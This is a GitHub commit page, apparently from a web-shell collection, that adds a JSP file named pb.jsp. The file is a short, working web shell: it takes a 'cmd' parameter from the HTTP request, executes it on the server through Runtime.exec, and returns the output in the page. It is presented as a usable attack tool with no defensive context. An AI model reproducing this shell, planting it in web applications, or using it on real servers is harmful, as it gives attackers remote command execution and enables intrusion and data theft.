Skip to content

Commit

Permalink
Create pb.jsp
Browse files Browse the repository at this point in the history
  • Loading branch information
tennc committed Apr 5, 2016
1 parent db87aa1 commit 072e033
Showing 1 changed file with 3 additions and 0 deletions.
3 changes: 3 additions & 0 deletions jsp/pb.jsp
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
1 <%@ page contentType="text/html; charset=GBK" %>
\
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\\r\\n"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre> <%=output %> </pre> 3 4 5

0 comments on commit 072e033

Please sign in to comment.